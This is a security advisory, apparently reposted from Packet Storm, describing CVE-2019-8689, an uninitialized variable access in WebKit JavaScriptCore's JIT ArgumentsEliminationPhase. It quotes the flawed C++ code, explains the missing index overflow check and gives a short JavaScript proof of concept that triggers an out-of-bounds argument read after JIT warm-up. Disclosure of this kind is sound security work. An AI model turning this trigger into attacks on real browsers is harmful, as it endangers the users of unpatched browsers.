Webkit JSC JIT ArgumentsEliminationPhase::transform Uninitialized Variable Access

Webkit JSC JIT suffers from an uninitialized variable access vulnerability in ArgumentsEliminationPhase::transform.

MD5 | 83802804222d263c0865b1beea73d343

Download

https://github.com/WebKit/webkit/blob/94e868c940d46c5745869192d07255331d00102b/Source/JavaScriptCore/dfg/DFGArgumentsEliminationPhase.cpp#L743

case GetByVal: {
    ...

    unsigned numberOfArgumentsToSkip = 0;
    if (candidate->op() == PhantomCreateRest)
        numberOfArgumentsToSkip = candidate->numberOfArgumentsToSkip();
    
    Node* result = nullptr;
    if (m_graph.varArgChild(node, 1)->isInt32Constant()) {
        unsigned index = m_graph.varArgChild(node, 1)->asUInt32();                        
        InlineCallFrame* inlineCallFrame = candidate->origin.semantic.inlineCallFrame();
        index += numberOfArgumentsToSkip;
        
        bool safeToGetStack;
        if (inlineCallFrame) {
            safeToGetStack = index < inlineCallFrame->argumentCountIncludingThis - 1;

        }
        else {
            safeToGetStack =
                index < static_cast<unsigned>(codeBlock()->numParameters()) - 1;

        }
        if (safeToGetStack) {
            StackAccessData* data;
            VirtualRegister arg = virtualRegisterForArgument(index + 1);
            if (inlineCallFrame)
                arg += inlineCallFrame->stackOffset;

            data = m_graph.m_stackAccessData.add(arg, FlushedJSValue);
            
            Node* check = nullptr;
            if (!inlineCallFrame || inlineCallFrame->isVarargs()) {
                check = insertionSet.insertNode(
                    nodeIndex, SpecNone, CheckInBounds, node->origin,
                    m_graph.varArgChild(node, 1), Edge(getArrayLength(candidate), Int32Use));
            }
            
            result = insertionSet.insertNode(
                nodeIndex, node->prediction(), GetStack, node->origin, OpInfo(data), Edge(check, UntypedUse));
        }
    }

The above code is trying to inline GetByVal operations on stack-allocated arguments. The problem is, it doesn't check whether "index" is lower than "numberOfArgumentsToSkip", i.e., "index" was overflowed. This bug is exploitable as this can lead to uninitialized variable access under certain circumstances.

PoC:
function inlinee(index, value, ...rest) {
    return rest[index | 0];  // GetByVal
}

function opt() {
    return inlinee(-1, 0x1234);  // or inlinee(0xffffffff, 0x1234)
}

inlinee(0, 0);

for (let i = 0; i < 1000000; i++) {
    opt();
}

print(opt());  // 0x1234

Related CVE Numbers: CVE-2019-8689.



Found by: [email protected]

Source: packetstormsecurity.com